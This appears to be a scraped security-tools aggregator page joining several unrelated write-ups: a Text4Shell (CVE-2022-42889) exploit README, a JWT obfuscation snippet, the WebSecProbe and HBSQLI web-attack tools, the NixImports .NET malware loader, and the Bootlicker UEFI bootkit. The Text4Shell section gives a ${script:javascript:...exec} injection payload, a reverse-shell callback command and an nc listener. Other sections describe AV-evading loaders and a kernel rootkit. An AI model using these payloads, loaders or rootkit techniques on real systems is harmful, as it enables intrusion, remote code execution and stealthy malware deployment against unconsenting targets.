Text4Shell-Exploit - A Custom Python-based Proof-Of-Concept (PoC) Exploit Targeting Text4Shell (CVE-2022-42889), A Critical Remote Code Execution Vulnerability In Apache Commons Text Versions < 1.10

A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation enabled, allowing injection of ${script:...} expressions to execute arbitrary system commands.

In this PoC, exploitation is demonstrated via the data query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.

Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.

Description

This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor.

Tested against: - Apache Commons Text < 1.10.0 - Java applications using ${script:...} interpolation from untrusted input

Usage

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

Example

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

Make sure to set up a lsitener on your attacking machine:

nc -nlvp 4444

Payload Logic

The script injects:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

The reverse shell is sent via /data parameter using a POST request.

New RedLine Stealer Variant Disguised as Game Cheats Using Lua Bytecode for Stealth

RemoteTLSCallbackInjection - Utilizing TLS Callbacks To Execute A Payload Without Spawning Any Threads In A Remote Process

Some-Tweak-To-Hide-Jwt-Payload-Values - A Handful Of Tweaks And Ideas To Safeguard The JWT Payload

• a handful of tweaks and ideas to safeguard the JWT payload, making it futile to attempt decoding by constantly altering its value,
  ensuring the decoded output remains unintelligible while imposing minimal performance overhead.

A JSON Web Token (JWT, pronounced "jot") is a compact and URL-safe way of passing a JSON message between two parties. It's a standard, defined in RFC 7519. The token is a long string, divided into parts separated by dots. Each part is base64 URL-encoded.

What parts the token has depends on the type of the JWT: whether it's a JWS (a signed token) or a JWE (an encrypted token). If the token is signed it will have three sections: the header, the payload, and the signature. If the token is encrypted it will consist of five parts: the header, the encrypted key, the initialization vector, the ciphertext (payload), and the authentication tag. Probably the most common use case for JWTs is to utilize them as access tokens and ID tokens in OAuth and OpenID Connect flows, but they can serve different purposes as well.

This code snippet offers a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens, where the stored keys are visible in plaintext. This code snippet provides a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens. Typically, the payload section appears in plaintext when decoded from the JWT token (base64). The main objective is to lightly encrypt or obfuscate the payload values, making it difficult to discern their meaning. The intention is to ensure that even if someone attempts to decode the payload values, they cannot do so easily.

• The code snippet targets the key named "userid" stored in the payload section as an example.
• The choice of "userid" stems from its frequent use for user identification or authentication purposes after validating the token's validity (e.g., ensuring it has not expired).

The idea behind attempting to obscure the value of the key named "userid" is as follows:

• The timestamp is hashed and then encrypted by performing bitwise XOR operation with the user ID.
• XOR operation is performed using a symmetric key.
• The resulting value is then encoded using Base64.

• Encrypted data is decoded using Base64.
• Decryption is performed by XOR operation with the symmetric key.
• The original user ID and hashed timestamp are revealed in plaintext.
• The user ID part is extracted by splitting at the "|" delimiter for relevant use and purposes.

• Various materials can be utilized for this key.
• It could be a salt used in conventional password hashing, an arbitrary random string, a generated UUID, or any other suitable material.
• However, this key should be securely stored in the database management system (DBMS).

and..^^

in the example, the key is shown as { 'userid': 'random_value' },
making it apparent that it represents a user ID.

However, this is merely for illustrative purposes.

In practice, a predetermined and undisclosed name is typically used.
For example, 'a': 'changing_random_value'

• This code snippet is created for educational purposes and serves as a starting point for ideas rather than being inherently secure.
• It provides a level of security beyond plaintext visibility but does not guarantee absolute safety.

Attempting to tamper with JWT tokens generated using this method requires access to both the JWT secret key and the XOR symmetric key used to create the UserID.

• If you find this helpful, please the "star":star2: to support further improvements.

# python3 main.py

- Current Unix Timestamp: 1709160368
- Current Unix Timestamp to Human Readable: 2024-02-29 07:46:08

- userid: 23243232
- XOR Symmetric key: b'generally_user_salt_or_hash_or_random_uuid_this_value_must_be_in_dbms'
- JWT Secret key: yes_your_service_jwt_secret_key

- Encoded UserID and Timestamp: VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo=
- Decoded UserID and Hashed Timestamp: 23243232|e27436b7393eb6c2fb4d5e2a508a9c5c

- JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lc3RhbXAiOiIyMDI0LTAyLTI5IDA3OjQ2OjA4IiwidXNlcmlkIjoiVlZaY1VVRlRYMTRGT2tkRVVVRnBFVlpmVFd3S0VHa0xVeFVLYXd0SE9rQUFXMVJYREdZV1FBbz0ifQ.bM_6cBZHdXhMZjyefr6YO5n5X51SzXjyBUEzFiBaZ7Q
- Decoded JWT: {'timestamp': '2024-02-29 07:46:08', 'userid': 'VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo='}


# run again
- Decoded JWT: {'timestamp': '2024-02-29 08:16:36', 'userid': 'VVZcUUFTX14FaRNAVBRpRQcORmtWRGl   eVUtRZlYXaBZZCgYOWGlDR10='}
- Decoded JWT: {'timestamp': '2024-02-29 08:16:51', 'userid': 'VVZcUUFTX14FZxMRVUdnEgJZEmxfRztRVUBabAsRZkdVVlJWWztGQVA='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:01', 'userid': 'VVZcUUFTX14FbxYQUkM8RVRZEmkLRWsNUBYNb1sQPREFDFYKDmYRQV4='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:09', 'userid': 'VVZcUUFTX14FbUNEVEVqEFlaTGoKQjxZBRULOlpGPUtSClALWD5GRAs='}

WebSecProbe - Web Security Assessment Tool, Bypass 403

A cutting-edge utility designed exclusively for web security aficionados, penetration testers, and system administrators. WebSecProbe is your advanced toolkit for conducting intricate web security assessments with precision and depth. This robust tool streamlines the intricate process of scrutinizing web servers and applications, allowing you to delve into the technical nuances of web security and fortify your digital assets effectively.

WebSecProbe is designed to perform a series of HTTP requests to a target URL with various payloads in order to test for potential security vulnerabilities or misconfigurations. Here's a brief overview of what the code does:

• It takes user input for the target URL and the path.
• It defines a list of payloads that represent different HTTP request variations, such as URL-encoded characters, special headers, and different HTTP methods.
• It iterates through each payload and constructs a full URL by appending the payload to the target URL.
• For each constructed URL, it sends an HTTP GET request using the requests library, and it captures the response status code and content length.
• It prints the constructed URL, status code, and content length for each request, effectively showing the results of each variation's response from the target server.
• After testing all payloads, it queries the Wayback Machine (a web archive) to check if there are any archived snapshots of the target URL/path. If available, it prints the closest archived snapshot's information.

Does This Tool Bypass 403 ?

It doesn't directly attempt to bypass a 403 Forbidden status code. The code's purpose is more about testing the behavior of the server when different requests are made, including requests with various payloads, headers, and URL variations. While some of the payloads and headers in the code might be used in certain scenarios to test for potential security misconfigurations or weaknesses, it doesn't guarantee that it will bypass a 403 Forbidden status code.

In summary, this code is a tool for exploring and analyzing a web server's responses to different requests, but whether or not it can bypass a 403 Forbidden status code depends on the specific configuration and security measures implemented by the target server.

pip install WebSecProbe

WebSecProbe <URL> <Path>

Example:

WebSecProbe https://example.com admin-login

from WebSecProbe.main import WebSecProbe

if __name__ == "__main__":
    url = 'https://example.com'  # Replace with your target URL
    path = 'admin-login'  # Replace with your desired path

    probe = WebSecProbe(url, path)
    probe.run()

HBSQLI - Automated Tool For Testing Header Based Blind SQL Injection

HBSQLI is an automated command-line tool for performing Header Based Blind SQL injection attacks on web applications. It automates the process of detecting Header Based Blind SQL injection vulnerabilities, making it easier for security researchers , penetration testers & bug bounty hunters to test the security of web applications. 

Disclaimer:

This tool is intended for authorized penetration testing and security assessment purposes only. Any unauthorized or malicious use of this tool is strictly prohibited and may result in legal action.

The authors and contributors of this tool do not take any responsibility for any damage, legal issues, or other consequences caused by the misuse of this tool. The use of this tool is solely at the user's own risk.

Users are responsible for complying with all applicable laws and regulations regarding the use of this tool, including but not limited to, obtaining all necessary permissions and consents before conducting any testing or assessment.

By using this tool, users acknowledge and accept these terms and conditions and agree to use this tool in accordance with all applicable laws and regulations.

Installation

Install HBSQLI with following steps:

$ git clone https://github.com/SAPT01/HBSQLI.git
$ cd HBSQLI
$ pip3 install -r requirements.txt 

Usage/Examples

usage: hbsqli.py [-h] [-l LIST] [-u URL] -p PAYLOADS -H HEADERS [-v]

options:
  -h, --help            show this help message and exit
  -l LIST, --list LIST  To provide list of urls as an input
  -u URL, --url URL     To provide single url as an input
  -p PAYLOADS, --payloads PAYLOADS
                        To provide payload file having Blind SQL Payloads with delay of 30 sec
  -H HEADERS, --headers HEADERS
                        To provide header file having HTTP Headers which are to be injected
  -v, --verbose         Run on verbose mode

For Single URL:

$ python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v

For List of URLs:

$ python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v

Modes

There are basically two modes in this, verbose which will show you all the process which is happening and show your the status of each test done and non-verbose, which will just print the vulnerable ones on the screen. To initiate the verbose mode just add -v in your command

Notes

• You can use the provided payload file or use a custom payload file, just remember that delay in each payload in the payload file should be set to 30 seconds.

• You can use the provided headers file or even some more custom header in that file itself according to your need.

Demo

NixImports - A .NET Malware Loader, Using API-Hashing To Evade Static Analysis

A .NET malware loader, using API-Hashing and dynamic invoking to evade static analysis

How does it work?

NixImports uses my managed API-Hashing implementation HInvoke, to dynamically resolve most of it's called functions at runtime. To resolve the functions HInvoke requires two hashes the typeHash and the methodHash. These hashes represent the type name and the methods FullName, on runtime HInvoke parses the entire mscorlib to find the matching type and method. Due to this process, HInvoke does not leave any import references to the methods called trough it.

Another interesting feature of NixImports is that it avoids calling known methods as much as possible, whenever applicable NixImports uses internal methods instead of their wrappers. By using internal methods only we can evade basic hooks and monitoring employed by some security tools.

For a more detailed explanation checkout my blog post.

You can generate hashes for HInvoke using this tool

How to use

NixImports only requires a filepath to the .NET binary you want to pack with it.

NixImports.exe <filepath>

It will automatically generate a new executable called Loader.exe in it's root folder. The loader executable will contain your encoded payload and the stub code required to run it.

Tips for Defenders

If youre interested in detection engineering and possible detection of NixImports, checkout the last section of my blog post

Or click here for a basic yara rule covering NixImports.

Bootlicker - A Generic UEFI Bootkit Used To Achieve Initial Usermode Execution

bootlicker is a legacy, extensible UEFI firmware rootkit targeting vmware hypervisor virtual machines. It is designed to achieve initial code execution within the context of the windows kernel, regardless of security settings configured.

Architecture

bootlicker takes its design from the legacy CosmicStrain, MoonBounce, and ESPECTRE rootkits to achive arbitrary code excution without triggering patchguard or other related security mechanisms.

After initial insertion into a UEFI driver firmware using the the injection utility, the shellcodes EfiMain achieves execution as the host starts up, and inserts a hook into the UEFI firmware's ExitBootServices routine. The ExitBootServices routine will then, on execution, find the source caller of the function, and if it matches WinLoad.EFI, attempts to find the unexported winload.efi!OslArchTransferToKernel routine, which will allow us to att ack the booting kernel before it achieves its initial execution.

Once OslArchTransferToKernel executes, it will search for the ACPI.SYS driver, find the .rsrc PE section, and inject a small stager shellcode entrypoint called DrvMain to copy over a larger payload that will act as our kernel implant.

Resources

Entirely based upon d_olex / cr4sh's DmaBackdoorBoot

Epilogue

This code is apart of a larger project I've been working on that on / off in between burnout, like most of the concepts I've produced over the years under various aliases, will never see the light of day. Some of the code comments I've been to lazy to strip out that refer to unrelated functiaonlity, despite it being previously present. Do not expect this to work out of the box, some slight modifications are certainly necessary.